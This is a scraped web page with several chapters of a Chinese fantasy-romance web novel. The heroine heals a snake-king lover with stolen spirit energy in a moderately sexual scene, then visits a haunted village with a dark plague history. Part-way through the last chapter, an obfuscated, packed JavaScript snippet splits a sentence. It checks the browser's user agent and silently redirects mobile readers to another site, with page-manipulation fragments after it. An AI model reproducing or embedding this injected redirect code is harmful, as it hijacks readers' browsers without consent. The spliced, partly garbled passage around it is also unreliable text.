从前听见这种声音,我会脸红心跳觉得不堪入耳,可现在,我突然一个劲的打寒战,背上发冷…… 简直是两个神经病! 正拼命搓着胳膊上的鸡皮疙瘩,我忽感觉到,好像有人在碰我肩膀…… 下意识用手驱开它。 蓦然扭头,竟惊悚地发现,碰我肩膀的不是人,而是…… 一颗通体纯净剔透、温润浅青,散发五色光辉的珠子! 这死珠子不是昨晚跟在死狐狸身边打伤青漓的那玩意吗! 我心下骇然,心头重重一跳,转身就要跑。 可我跑出土地庙,那颗珠子竟也跟我出了土地庙。 我往哪边跑,它就往哪边追。 甚至还会抢先一步拦我的路! 我被迫停下脚步,提心吊胆地着急捏诀驱开它…… 然而,法咒还未结成,那颗珠子却抽风似的突然亲近飞至我怀中,自来熟地不停蹭我肩膀手臂。 好似,并没有想伤害我的意思。 我看着眼前这一幕,呆愣了两秒。 果然宠物随主人,主人是神经病,宠物也精神状态不稳定! 不过……瞧这珠子通体的灵气…… 如果用来给青漓治伤,应该能事半功倍! 趁它还没反应过来,我偷偷捏诀施法,悄然吸噬它身上的灵泽…… 珠子围着我连转好几圈,又激动往我脸颊上蹭蹭,都快把老娘闭月羞花的脸蛋给挤变形了。 我壮起胆子,继续加大指尖吸取它身上灵息的法力。 只是这一回,似乎让珠子有了察觉。 灵珠陡然一怔,后退一段距离,迷茫悬停在我的正前方。 我心虚地赶忙收手。 谁知下一瞬,那珠子脑子抽筋的主动飞到我跟前,将自己的灵气渡进了我的口中…… 若不是灵气进入我身体的确能让我感受到清爽舒适,我都怀疑这珠子是不是在给我下套! 没多久,我就吸不动它给的灵气了。 实在太多了,再吸就要吐出来了…… 恰好此刻那珠子也蓦地停下,随即像是有所感应一般,忙往土地庙内飞去…… 我趁机捂住嘴直奔自己家方向,一路小跑,顺便还用自己的身体做实验,让灵气在体内运转好几遍,确认完全没问题后才敢放心把灵气留给青漓。 推开自家院门,我着急忙慌地往堂屋赶,脑子里还在盘算着等会怎么把青漓叫出来,完全忽略了堂屋窗口洒出来的盈盈烛光。 直到冲进堂屋,我一抬头就看见神骨玉立于孤烛前的那抹熟悉背影,我才恍然发现,他原来已经自个儿现身了! 挺好,省了我再叫他出来的麻烦了! 听见我闯进屋的动静,他缓缓转身…… 而我却没时间和他解释太多,拔腿就朝他扑过去—— 踮起脚尖,双臂缠住他的脖子,我二话没说直截了当一口吻住他微凉的薄唇。 他一愣,墨青眸华骤漾,下一秒回过神便要推开我…… “阿鸾!不行……会伤……” 我没给他拒绝我的机会,右手捧住他俊美的侧颜,用舌尖强行撬开他的唇齿,撑不住地着急把蕴藏在体内的灵气渡给他。 感受到我以口相渡的凉息,他推在我腰间的手掌才失去力度。 我聚精会神地闭上眼,本能地轻动唇瓣,与他相吻…… 蛇王大人的唇,好软,啃着有点舒服。 勾得我情不自禁就想多咬两下。 体内的灵息顺着我的舌尖,渡进他的体中…… 该死的灰狐狸,你用灵珠伤青漓,我就偷你灵珠神力给青漓疗伤! 只可惜我肉体凡胎盛不下那么多仙泽,不然我非将你手中那颗死珠子的灵气给吸完! 不过…… 青漓刚才的反应,又是什么情况。 我主动投怀送抱,我的身子可以给他疗伤,他不应该乐享其成么? 为何,还会拒绝? 他刚才想说,不行,会伤……伤到我吗? 还有我体内鸳鸯缠第一次发作,我求他给我解鸳鸯缠,他宁愿用那种方式帮我缓解,也不肯与我双修…… 我记得,他那时曾在我耳畔说,现在、还不行,若他有幸熬过这一劫,再给我解。 而昨天,是鸳鸯缠第三次发作,鸳鸯缠三次发作不和男人同房,就会爆体而亡。 所以……他的本意,是不想拿我做疗伤补品。 昨晚之所以那样热烈,那样说,是因为、鸳鸯缠对男人也有影响,他控制不住,才顺便拿我当疗伤圣品? 罢了,反正和他睡一夜,我除了会腰酸背痛之外,也没有其他毛病。 只要知道他本意还是不想害我……就够了! 许是明白了我这样做是在给他渡从别的地方薅来的灵力养伤,他这才肯放心与我亲近。 我不老实的啃吻终究还是勾起了他眼底的欲色。 腰肢被男人猛地箍紧,他搂着我旋身一转,欺身将我压在方桌上。 腾出一只手捧住我后脑勺,主动配合我热吻。 我乖乖抱紧他,被他吻得心神徜徉,醉眼朦胧。 灵气还未渡完,他放开我的唇,温存地朝我脖子上啃了口。 喘着粗气,浅声与我咬耳私语:“从哪吸来这么多仙气?” 我被他折腾得浑身发热,捧住他的俊脸继续吻他: “回来的路上、在土地庙撞见那条死狐狸和宋花枝了,被他的珠子发现了,那颗灵珠没攻击我,我就偷了点回来,给你……” 他怜爱地揉了揉我脑袋,弯唇低笑:“你、在意本尊?” 我堵住他的嘴,心跳加速地不许他再说话。 搂着他亲密了良久,他才再次主动索取:“灵珠的仙气太霸道了,留在你体内,你会消化不动,鸾鸾,都给本尊……” “嗯……”我昏昏沉沉地听话回应。 只是没成想,他说的都给他,还包括我自己! 后来的那把火是谁先撩起来的,我已经记不清了。 浑浑噩噩间,男人托着我的腰,将我送到方桌上。 大手推开了我腿上的黑纱红裙。 呼吸交缠,体温相融…… 我没有拒绝他的靠近,只努力将游荡于血液深处的那些灵气全都渡给他。 朦胧中,我猝然闷哼。 他口中吐出一缕炙热的浊气。 如火如荼的凤凰花瓣从他身后款款飞出,渐渐与自我身后飞出的金色莲花瓣交缠、融合…… 分开,又裹为一体。 迅速盘踞萦绕在我俩身畔,花瓣如潮浪,起起伏伏…… 许久后。 我趴在他怀里,伸手接住一片染了绯红的金色莲花瓣。 好奇拧眉。 “为什么我们在一起……会有花瓣?” “因为,我们在灵修。” 我老脸发烫,还是不怎么懂:“和以前那几次有什么不同吗?” 他拍拍我的后背,“这次,鸾鸾也愿意。” 我哽住,揉了揉灼烫的脸:“只有双方都情愿,才能灵修?” 他嗯了声,沉默良久,才说:“鸾鸾,你的身体,比你的心,更早接受本尊。” 我:“……” 他抱着我,许我靠在他怀里休养,片刻,又冷不丁地来了句: “灵修对双方皆有益,鸾鸾,以后咱们多多益善。” 第60章 你被脏东西吃了,关本尊什么事? 我呛住,忙把那片花瓣扔掉,羞窘不已地扯了扯他衣襟:“我、累了,抱我去睡觉!” 他挑眉,青眸一亮:“如今使唤本尊,这样理直气壮?” 我无奈地硬着头皮道:“咱俩都、这样了……我还不能使唤你了吗?” 他唇角勾起一抹好看的弧度,故意纵着我,抱我去卧房。 “嗯,能,夫人说什么,就是什么。” 我身心俱惫地闷声嘀咕:“这还差不多……” 把我送到床上躺下,他也脱了外袍,躺在我身边陪伴我。 我打着哈欠,拉住他一只手,紧紧攥住。 低头抵着他的肩,追问道:“为什么,我都和你在一起了,我还能成为鬼师?我体内应该有你的妖气才对,为什么连认息蛊都不往我身上扑?” “嗯,你猜。” 我嘁了声:“我才不要猜。”想了想,我又牵着他的手问:“你的伤,好了吗?” 他伸出一条手臂把我揽进怀中,按在结实有力的胸膛上:“差不多了,明天开始便不用闭关了。” “那就好。”我松口气。 他揉着我的脑袋担心道:“今晚,有被他发现么?” 我摇摇头:“没有,我现在能用法力藏住自己身上的气息了,而且他和宋花枝玩得正上头着呢,对外界环境没什么警惕性。” “嗯。”他抱住我低声叮嘱:“下次不许做这么危险的事了,那颗灵珠是神界宝物,被它伤着,你会魂飞魄散的。” “知道了。”我抬手拍拍他的后背安抚他:“你先休息,快些好起来。” “这几日,你也很担心本尊……” “那当然,你不在我身边我都不敢惹事了。” “……” 不能告诉他我的确担忧他…… 不然以他这么自恋的性子,八成会觉得我暗恋他。 这还是我头一次在头脑清醒的状态下趴在他怀里睡觉。 感觉还不错,睡眠质量都提高了不少。 只一点不太好,就是蛇王大人起得太早! 突然缺少安全感,害得我也没了睡懒觉的心情。 我起床时,家里已经没有了蛇王大人的身影。 原以为他出门溜达了,谁知我刚洗漱完,戒指里就传来他嘱咐我加衣物的声音。 “近来天气不好,你听话些,多穿几件衣服。” “我不冷……阿嚏!” 顺便去给镇山龙神上三炷香。 可能是真有点感冒了,这几天总是流鼻涕。 揉了揉发痒的鼻尖,我跪在地上给龙神大人磕了三个头。 再起身,肩膀一沉…… 是他拎着一件墨色外袍披在了我肩上。 这就现身了? “你外婆生前已经修炼到了寒暑不侵的境界,你还不行。” 我闻到衣服上的淡淡花香,安心听话地把外袍穿上…… 还蛮衬我这身红裙子的。 就是衣摆有点长。 “我今天要去孟春寨。”我说。 他嗯了声,转身要往神堂外走:“去吧。” 我追上他,“一起呗。” 他撩开粗布门帘,等我一起出门:“你想,本尊陪你?” 这话听起来,怎么感觉有点暧昧…… 但是,为了小命着想,我还是果断承认: “对啊蛇王大人,反正你在家也没事,而且你现在也不用闭关了,我们一起去孟春寨,就当旅游了!” “你见谁旅游,是往会出事的地方跑?”他无情反驳我。 我抓住他的袖子,不依不饶地祈求: “一起嘛,你也说了我现在道行不到家,万一我被脏东西吃了怎么办,还有那条死狐狸万一又趁你不在欺负我怎么办?” “你被脏东西吃了,关本尊何事?”他突然捏住我的下颌,居高临下地垂眸睥睨着我,故意装作残忍冷漠。 我委屈瘪嘴,有理有据道:“那不行啊蛇王大人,我是你的,就算被吃,也得由您吃,进您的肚子啊!怎么能便宜了别的妖物!” 这还是我第一次把被他吃说得如此……坦荡! 他挑眉,眼眸深处攒出几丝浅笑,放开我的下颌,主动牵住我的手: “既然夫人这般识趣,本尊自然是,你在哪,本尊就在哪。” 护身符这是同意了? “那就好那就好。”我开心点头。 这可是个活阎王,带上他,别说是肉芝了,就算是肉妖怪也能被他打残了! 起床没多久,李大叔和阿乞银杏就来我家接我了。 这次去孟春寨需小住几天,所以我们就各自打了个小包袱,塞几身换洗衣物与一些日常用品背在了肩上。 一早出发,应该能在天黑之前赶到孟春寨,干粮就不用带太多,随便揣几块糕点在怀里便能上路了。 把家里院子上了锁,银杏将我手里的包袱接过去,扔给阿乞背着。 孟春寨在九黎山脉的北边,去孟春寨的山路并不好走,李大叔说今天天气不好,恐半路下雨,于是就计划上午三个小时内赶到北边的城隍庙,这样下雨也能进庙躲一躲。 我们一行人马不停蹄地从七点走到十点零八分,正巧,刚到城隍庙门口,天上就下起了豆大的阵雨—— 进了庙,阿乞在城隍神像前升起一堆火,大家把淋湿的外衣脱下来放在火边烤了烤。 我用手梳理着湿漉漉的长发,打了两个喷嚏后,长发被另一双大手捞过去,温柔用灵力梳干雨水…… “蛇、蛇王!”银杏抱着糖饼,嘴里还含着东西,两眼直勾勾地瞪着我身后男人。 李大叔抬眼瞧了下,平静地继续用粗树枝翻火堆里的红薯:“蛇王出现在鸾镜身边,不正常吗?” 阿乞也一脸淡定地附和:“就是,不跟着我们才不正常。” 说完,殷勤地把怀里糖饼分给青漓一个:“帝君,师叔祖做的!特别好吃!” 青漓扫了眼糖饼却没有接,而是把主意打在了我手里的山楂糕上:“本尊想吃夫人手里这个……” 我哽住,山楂糕这东西不是女孩喜欢吃吗? 算了,他想吃就给他吃吧,吃糕总比吃我强。 我拿起一枚红彤彤的糕点送他:“给。” 他淡淡道:“本尊手上,有水。” 我哦了声,下意识直接拿糕往他嘴里送:“我喂你。” “嗯。” 他心安理得地张嘴,含住我喂过去的那一小块山楂糕。 举着糖饼的阿乞:“……” 默默噎食物的银杏:“……” 李大叔不好意思的咳了声,尴尬提醒道:“那个,你们不用管蛇王大人,他有鸾镜照顾着就成。” 阿乞只好把糖饼又收了回去,趁着青漓在,赶紧请教:“对了帝君,您知道王母肉芝么?” 青漓优雅吃完一块糕点,面不改色地继续帮我梳发挽发:“嗯,不就是一块活肉么。” “那您知道,吃了王母肉芝,真会缺什么补什么吗?”阿乞接着问。 “它是上古灵物,药性比神界仙丹还有过之无不及,能补人肉体残缺有何不妥。”青漓答得漫不经心。 阿乞搓搓手兴奋道: “这样说,吃一片王母肉芝,真能让人心想事成? 那我如果也拥有一片王母肉芝,岂不是可以一辈子无病无灾? 毕竟哪个器官病变了,我就可以摘掉它,再长出一个。” 李大叔一愣,尔后冲他翻了个大大的白眼: “可惜,你没有王母肉芝。你也休想打王母肉芝的主意,它现在再怎么说也已经转生成人了,一旦有了人形,生了三魂七魄,再吃它就是损阴德!” 阿乞努了努嘴,装作惋惜: “我这不是假设嘛……何况,如果是人参什么的,能吃也就吃了。 肉芝这玩意,别说是已经转生成人形了,就算是原形我也不敢尝啊…… 但我还是想看看传说中能缺什么补什么的王母肉芝到底长什么样。” 李大叔轻嗤一声,用树枝翻动炭火下的半熟红薯:“运气好的话,你很快就能看见了!” 阿乞好奇:“啊?王母肉芝不是已经转生成女人了吗?它还能变回原形?” 李大叔意味深长地看了他一眼:“你猜。” 阿乞登时就不开心了,一口口啃着手里的甜饼,委屈抱怨:“又让我猜,师叔祖你和师父真不愧是同门,总爱说话不给答案!” 我拿起一块洒了槐花蜜的山楂糕接着喂给青漓。 他张嘴,一口吃掉山楂糕的同时,薄唇还含住了我的指尖…… 我顿时只觉指甲一麻,指腹的凉意酥得我十指微颤无力。 “青漓……你别咬我手指头!”我心猿意马地赶忙把爪子缩回来。 他给我挽好长发,忽用一条手臂从后揽住我,捞我进怀。 执起我拿糕点的那只手,不晓得突然抽什么风,竟低头朝我指尖印下轻轻一吻…… “本尊,没想咬你。夫人的手指,很甜。” 一句话说完,我的耳根与脖子皆是一片灼热! 坐在对面的李大叔手一抖,刚拿起的红薯又滚进了炭火里。 阿乞差点被甜饼噎得一个白眼翻过去。 而银杏则双手托腮,两眼直勾勾盯着我俩,嘴角挂着迷之微笑,头顶都要冒粉红泡泡了…… “哇,好好看……” 李大叔忍无可忍地一巴掌拍在银杏脑袋上,黑着脸转移银杏注意力:“看什么看,把红薯给我翻出来!” 银杏被李大叔强制性拍回神,赶紧擦擦嘴角口水,勤快地听话去干活:“哦好嘞。” 几个烤熟的红薯翻出来放到风口吹凉,外面的雨也淅淅淋淋开始停歇了。 于是软糯香甜的红薯还没吃到嘴,我们就赶忙又踏上了去孟春寨的山路…… 夏雨过后的山间,阵阵凉风穿林过,新鲜空气扑鼻而入,令人不由倍感心情舒畅。 唯一不好的,是地上泥泞太多,一不留神就溅了一裙摆的泥点点。 我揽起裙摆,踮脚跨过泥坑时,却发现青漓竟能踩着泥水过道而不湿鞋袜衣摆…… 有法力就是好啊…… 不对,我现在也会法术。 但我会的法术里似乎并没有能让我走泥巴路不弄脏鞋子的办法。 青漓能始终保持身上干净……说不准是因为,他原本就是蛇! 之前下雨天门口有蛇从泥坑里爬过,的确上了坑以后身上还干干净净…… 当蛇就是好啊! 要不是碍于这家伙性格阴晴不定,有惹毛了会翻脸的风险,真想让他背我走路。 我这身漂亮的新皮肤啊,才穿两天就脏了,太可惜啦! 我低着头在心里叽里呱啦吐槽个没完,拎着裙摆再次跳开一个水坑。 余光无意一瞥,发现那小心眼的蛇王不知何故突然停了一步。 我扭头,正撞上他迷茫幽深的怪异眸光…… “怎么了?”我好奇问他。 他哽了哽,面上表情似有几分心虚,错开与我四目相对的视线淡淡道:“没事。” 抬脚迈过水坑,他行至我身畔,想捞我的手,但中途放弃了。 我瞧他一副欲言又止的模样,不太理解地接着赶路。 他干嘛是这个反应? 啧,果然,男人的心思太多,猜不透。 走了两步,他倏然启唇:“鸾鸾……” 我脚下一顿,回头:“啊?” 他拧眉,瞥了眼我拎着裙摆的那只手,嫌弃道:“脏兮兮的,过来,本尊背你。” 我极度怀疑我是不是听错了,懵圈地张了张嘴:“背、背我?” 他目中冷漠,视线往边上不远处的小水沟里一瞥,没心没肺吓唬我: “本尊有洁癖,是本尊把你踹下去洗洗,还是乖乖让本尊背着走,你自己选!” 我:“……” 第61章 趁蛇王大人还年轻,生娃要趁早! 傻子才选下水洗呢! 这么冷的天,下去洗一遍我人都得被冻没! 更何况雨后的小水沟里全是泥巴水,只会越洗越脏好不好。 “我选后面那个!”我十分懂事地立马把脏了的鞋子踩进干净些的水坑里清掉泥泞,二话没说就活力十足地往他背上一跳。 他也很配合地抬手托住我两条腿。 老天爷啊,可算是听见我的心愿了! 许愿他多背我一段,最好直接把我背到孟春寨寨口! 走在前面的阿乞见到这一幕,颇为羡慕地朝李大叔吧扁扁嘴:“师叔祖,你看我是不是也脏兮兮的,你想不想……” 不等他说完,李大叔就冷眼觑他:“我想把你踹下去洗洗!” 阿乞:“……” 银杏摇头啧啧两声,看了眼背着我的蛇王大人,深呼一口气,往前跑了两步,激动跺脚—— “啊好看好看!” 我的沉默,震耳欲聋。 大约又过了十分钟,银杏的疯劲过去了,恢复正常的在前蹦蹦跳跳引路。 但片刻后,一声‘叮咚’从我袖子里传了出来…… 我好奇地趴在青漓肩上,从袖管里掏出手机,划屏解锁。 刚点进最新信息界面,就看见银杏的头像上标着醒目红点。 按开与她的聊天主页,不等我看清她发的信息,下一秒她就再次疯狂刷起了屏—— “啊啊啊啊,镜镜我现在才发现,你家蛇王长得真好看!” “比我从小到大见过的所有男人都好看!” “前几回我没细瞧,今天一见,果然是世间绝色啊!” “好看好看,这基因,以后生娃肯定萌爆了!” “你赶紧趁他还年轻,和他生一个,男人的花期很短的,俗话说得好,男人过了25都只能看不能……” “啊呸,忘记你家蛇王大人不是人了。” “但他现在应该相当于人类的二十五六岁了吧……嗯,姐妹的建议是,趁他还行的时候,生娃要趁早。” “不能浪费了这么优秀的基因!” “啊,我爱的建模脸啊……可惜不是我的菜,我喜欢小奶狗,不喜欢大**蛇。” 我盯着手机上的信息内容,抽了抽嘴角。 不幸的是,我拿手机的这个角度……青漓正好能看见手机屏幕…… 但,这还不是最绝望的。 谁能想到银杏这个全自动闯祸机后面竟然又发了句: “难怪上次你那啥缠发作宁愿用井水泡一夜醒神,也不愿意让我帮你找个男人解决。” “这颜值,动摇一分都是对自己审美的侮辱!” 找个男人、解决…… 这几个字眼实在太明显了。 我立马关上手机,把东西重新塞袖子里。 心虚地趴在他肩上装睡。 希望他没看见、希望他没注意到…… 而他,后来也如我所愿地没追问。 直到,傍晚五点半,我们顺利来到孟春寨寨口,他在放我下地的前几分钟才突然问道:“那晚,是不是很难受……” 我登时头皮发麻,完了完了,秋后算账来了。 我提心吊胆的翁着声嘴硬:“也、没有。” 他哽了哽。 我搂住他的脖子连忙又说:“我我我、我没有找野男人,也没想过找……认真的!” 他默了许久:“嗯。” 嗯的意思是……放过我了? 呜幸好我没动找其他男人解鸳鸯缠的念头,不然就算没成功…… 这条小心眼的大青蛇也会把我撕得东一块西一块。 到了地,李大叔安排阿乞先去寨口喊人。 我瞧向一个劲朝青漓咽口水的银杏…… 扯了扯青漓的袖子,尴尬建议:“要不然,你先进戒指里休息休息?” 银杏看青漓这眼神怎么越来越不对劲了呢。 不像是馋青漓的颜,倒像是、想把青漓剁了炒炒做红烧蛇肉…… 青漓也扫了眼瞪着他没出息流口水的银杏,嫌弃皱眉,一道青光钻进了我手上的戒指里。 我松口气,抬头放眼朝前方望去,如今的孟春寨寨门紧闭,山寨的外围全用竹竿筑成的高墙围住了。 寨门口设立两座瞭望台,但台上并没有人把守。 阿乞去寨门外吼了两嗓子不见有人来后,又跑到大门前使劲拍了几巴掌。 大约过了五六分钟,才有寨内住民出来开门。 阿乞简单和开门人说了两句话,开门人半信半疑地朝我们瞧过来,随即赶忙小跑着折返回去,门都忘记重新关上了。 “那个是寨子里的值班村民,说是去找村长了。”阿乞气喘吁吁地又跑过来,双手掐腰和我们说明情况。 李大叔点点头:“孟春寨的村长是我的旧识,无妨,再等等,有鸾镜在,他不敢不来。” 阿乞掰了片芭蕉叶扇风,擦擦脸上的汗: “听说孟春寨以前真是土匪山寨,最近几十年才改成孟春村的。建在这种地方,真不愧是土匪老窝。” 李大叔从腰后抽出烟杆,用火折子点燃烟丝,抿了一口: “嗯,早年孟春寨原住民少,后来外面一拨土匪为了躲避朝廷剿杀闯进了阴苗族。 当时的大祭司是准备带领族人们将他们抓捕处死的,但没想到那些土匪其实都是被朝廷逼反的良民,一部分还是满门忠烈的良将后代。 他们进了孟春寨占地为王后并没有乱造杀孽,反而还帮着原住民开荒种粮,与原住民相处得很和谐,因此大祭司就没有伤害他们,还允许他们成为阴苗族的本族人。 孟春寨建在深山之内,半山腰上,寨子里的人不怎么往外跑,独立性比较强,所以就算这两年寨子被封锁,族内也没人觉得不对劲。” 银杏恍然大悟:“懂了,就像咱们阴苗族前些年长生泉的事闹得沸沸扬扬,外面的阳苗人却一无所知。” “对。”李大叔吐了口浓烟认同。 没多久,孟春寨的村长就带着两个五十来岁的男村民快步赶出来迎接我们。 “呦,老李!”孟春寨村长远远朝李大叔招手。 李大叔淡定地带领我们迎上去。 “老易,好久不见。”李大叔客气道。 五十岁出头的老村长扫视了一遍李叔身后的几人,视线最终落在了一袭黑纱红裙的我身上…… 老村长蹙眉怀疑:“这不是老祭司的外孙女吗?她、是新任鬼师?” 早就知道他会怀疑,我淡定抬手,掌心化出红蓝交缠的阴阳火焰。 老村长一见火光,立马恭敬抬手做了个‘请’的手势:“鬼师娘娘,您先请。” 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102400|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乞拍拍胸脯暗暗松口气,银杏挽住我胳膊,跟我在前开路。 进了孟春寨,老村长若有所思地打探道: “不知鬼师娘娘突然驾临孟春寨,是有何要事?该不会是咱们村也闹什么精怪吧?还是,风水出了问题?” 李大叔镇定帮我回答:“我们过来是见一个老朋友,和孟春寨没关系。” 老村长肉眼可见的浑身肌肉放松了下来,“老朋友?是哪个老朋友?” 阿乞说:“赵弗参。” 老村长嘶了声,敛眉疑惑:“这个名字,听起来耳生得很呐,咱们村里好像没**名叫这个……” 阿乞一哽,想了想说:“也有可能现在不叫这名……就是十多年前来寨子里的,姓赵的那个!” 这么一形容,老村长立马就知道是谁了:“哦你说的是赵大河啊!个头高高的,三十来岁,他媳妇是汪家闺女,汪绵绵。” 李大叔吞了口白烟:“是他,他是我故交的儿子,我这次是受故交所托,来孟春寨看望他的。” 老村长狐疑瞟了眼李大叔,又瞧向我:“十年前赵大河来我们孟春寨的时候,不是说他父母亡故了么?” 阿乞:“……” 银杏喝着水被呛到。 李大叔撒谎不脸红的淡漠道:“托梦,要不然怎么会惊动鬼师娘娘。” 阿乞再次张了张嘴,却仍欲言又止。 我与银杏皆是保持沉默。 老村长恍然大悟:“原来如此。” 李大叔接着忽悠:“他家祖坟出了问题,冤亲债主追过来找他和他媳妇讨债了,我们这次过来就是帮他送阴债的。” “原来是这样。” 老村长抿了抿嘴,还是不放心,试探道: “那你和鬼师娘娘,打算在咱们孟春寨歇脚几天?老李啊,不是我着急撵人,你也知道,我们孟春寨向来不留外……” 我不等他说完就赶忙佯作惊讶,着急询问: “易村长,寨里近来可是有怪事发生?夜里频频狗吠,还总有人在正午时分见到已经亡故的人身影?” 老村长顿时止住言语,震惊瞪大双目,与身后两个中年村民相视一眼,忙回答: “对、对啊!鬼师娘娘,可是咱们村招惹了什么不干净的东西? 近段时间,我们村的确每晚都不太平,不是老张家的狗叫个没完就是老孙家的狗哼唧个不停!” “对对对!” 跟在村长左侧的瘦高中年男人紧张兮兮道: “前一阵子,清明节我去给三年前去世的小妹上坟,打从坟地回来后就总是在家门口池塘边上看见小妹的影子。 起初我和我媳妇还以为是我们自个儿眼花了,可最近一个星期,她大白天都敢现身了! 昨儿中午,我们家刚吃过午饭,我在厨房给我媳妇烧热水洗碗,十二点准点,就听见一阵风声从南头的老坟地里刮过来。 我们家厨房门恰好正对着池塘,中间也就隔了个四五百米,我和我媳妇一抬头就看见池塘边的岸梗上,站着一个穿裙子的女人。 那个女人只能看见身体,脖子以上的部位都朦朦胧胧的,看不清,穿的那身裙子还是她出事那天穿走的! 这几晚我们一大家子都轮流去池塘头烧纸,可不知道怎么回事,就是送不走啊!” 第62章 肚子里长了棵肉芝 另一名中年村民接着忐忑讲述自己的经历: “你这个倒还好,至少知道那东西是自家亲人!我撞见的就更邪乎了! 两个月前我去老蔡家喝夜酒,十一点从老辛家坟摊路边经过,结果撞见了一团鬼火。 我当时喝了酒胆子也足,就和那鬼火说,别撵我了,我身上没东西,别跟着我回家。 那鬼火就是不理我啊,一直跟到我家院门口才被门神爷吓跑。 第二天我就把这事和老辛家的人说了,结果没两天,老辛家老爷子就走了。 老辛家人就说,先前我撞见的鬼火大概率就是老爷子,那时老爷子虽然活着,但是魂已经走了。 我之前常和老爷子一起喝酒,所以老爷子在路边看见我才偏要送我回家。 辛家老爷子走了大约半个月后,我又在外面碰见那团鬼火了。 我以为是辛家老爷子,就没管,谁知那天他跟着跟着,竟然变成了一个穿着绣花鞋的小脚女人。 我倒是能看见那女人的脑袋和头发,但看不清她的脸。 她也并不是天天都跟着我,就是我偶尔在外面喝酒,或者在田里干活回家晚了,她就一个劲地跟着我。” 老村长心里发怵: “我倒是没亲身撞见这些怪事,但今年确实有不少村民和我反映村里不干净。 而且,村里的狗真的每晚都会毫无缘故狂叫,本来就人心惶惶,狗一叫,更害怕了! 鬼师娘娘,这到底是咋回事?您有没有办法帮帮咱们孟春寨?” 我稳重开口: “村里,血气重,阴强阳弱,才导致入土的先人魂魄频繁现身于人前。 不是你们的问题,是你们先祖在这地方杀过太多人,怨气积压百年,才损了孟春寨的气运,乱了孟春寨的风水。” “还真是村里风水出了岔子!”老村长一拳头砸进掌心,惶然问我:“鬼师娘娘,你有没有法子能帮咱们村改改风水?” 身后中年村民擦了把额角冷汗:“是啊,总这样下去咱们孟春寨怕是要出乱了,我现在夜里都不敢出家门了!” 阿乞摸着下巴好奇道:“镜镜姐说你们的先祖在这地方**太多,又是什么情况?血气重到坏风水,恐怕不是杀一二十个那么简单……” 易村长尴尬抬手抹脸,老实交代: “这就说来话长了,鬼师娘娘说得对……孟春寨的确曾大面积死过人。 六十年前孟春寨有个年轻人出了一趟远门,回来后就感染了瘟疫。 紧接着,瘟疫就在咱们孟春寨中爆发了,仅仅一个月,村里一半的人都染上了。 那种疫病来势汹汹,感染后七天内就会全身腐烂而死,靠人治,根本没那个精力也没足够的时间! 更可怕的是,因疫病而死的人还不能土葬,土葬会把瘟疫传给老鼠和蛇。 一旦老鼠蛇得了病,就会到处咬人,瘟疫又会通过老鼠蛇传染给在隔离圈外的正常人。 一开始我们想着,把寨子里的老鼠蛇都给消灭干净,尸体也烧了就能减少感染风险。 可随着死的人越来越多,半个村子都弥漫着浓烈的腐臭味,好多没染病的人闻见这味也神不知鬼不觉的感染上了。 当时的大祭司组织咱们村体质好的青壮年用草药堵住鼻息,蒙住脸把已经入土为安的**尸体全挖出来,坟坑洒石灰消毒,尸体则统一火化。 处理完病人尸体后,大祭司要进山找灵药给寨中人治病,可大祭司前脚刚走,后脚孟春寨内的瘟疫就又止不住了。 且蔓延速度比第一回还要快,几乎到了见风就染病的地步,当时的村长为了保住咱们寨子,就做了个大胆的决定…… 他,命人把所有感染瘟疫的村民,无论病情轻重,全都推进火坑烧**。” “什么?!那得烧死多少人啊!”阿乞大惊失色。 易村长难以启齿道:“当年,加上之前染病身亡的那批人,一共**五百二十三个村民,孟春寨只余下二百多个活人了。” “**五百多人,难怪。”银杏秀眉紧皱:“烧死患病者,的确能在短期内彻底阻断传染源,可那些还有得治的村民……被大火吞没的时候该多绝望啊。” “当年的村长是想着,斩草除根好歹能保住剩下的二百多人,万一大祭司带回来的灵药不管用,那咱们村不就死绝了吗。”易村长单手揉着太阳穴为难道。 我点点头,并没有过多追问此事,只是趁机说:“我得在孟春寨多留几日,好观察一下该从哪个地方下手,才能顺利为你们寨子改风水。” “好好好,那就麻烦鬼师娘娘了。” 易村长一口应下,随即又客气道: “鬼师娘娘驾临孟春寨,不如你们就暂住在我家吧,正好我家还有处空下来的老宅子!” “那就不用了。” 李大叔从容不迫地打断: “我们这次来主要是给小赵家解决麻烦的,为你们孟春寨改风水只是顺手的事,就不麻烦老易你们了。” 易村长脸色变了变,又和身后两人背地里交流了一番眼神,才答应:“也好,那我们先带你去赵大河家。” 没走几步,易村长就按耐不住地试探套话:“哎呀,大河家的媳妇最近怀胎也不太顺,是不是,也被大河家先祖给缠上了?” 李大叔嗯了声,“他家祖坟出了事,肯定会影响子孙后代。在娘胎里的也算。” 瘦高个头的中年男人紧忙将心里话脱口而出:“你看吧,我就说不可能是肉……” 话还没说完,就被易村长一记眼刀给瞪了回去。 我故作不知,“什么肉?” 易村长脸色发青的挥挥手敷衍:“没、老吴家里是杀猪的,成天脑子里想的都是肉!他胡言乱语呢!” 这个理由甚是牵强,不过我们一行人都心知肚明地没再说话。 进村后又沿着山道往南头走了四十分钟,我们才成功与阔别多年的赵大哥再见面。 村长把我们送到赵大哥家里后,特意背着我们把赵大哥拉到屋后嘱咐了几句。 不用问就晓得村长肯定是在威胁赵大哥不许把王母肉芝的事说出去…… 等把村长一行人送走,赵大哥才拎着一壶热茶,两眼红彤彤地赶来招待我们。 “家里没有什么好茶叶,这是清明前绵绵在西山头采的野茶,喝起来挺爽口,你们凑合尝尝。”赵大哥给我们一人倒了一玻璃杯滚烫茶水。 阿乞嘴馋地伸手去拿玻璃杯,却被杯子烫得连连甩手。 银杏探头看了眼赵大哥现在的家,忍不住感慨道: “还是赵大哥会过日子,家里收拾得很温馨,地方不大,但里里外外都一尘不染,东西摆放得比我家整齐多了!” 赵大哥不好意思地低头笑笑: “你就别夸我了,你们知道的,我从小就有洁癖,还喜欢整理东西,娶了绵绵以后,一直都是绵绵在迁就我。” 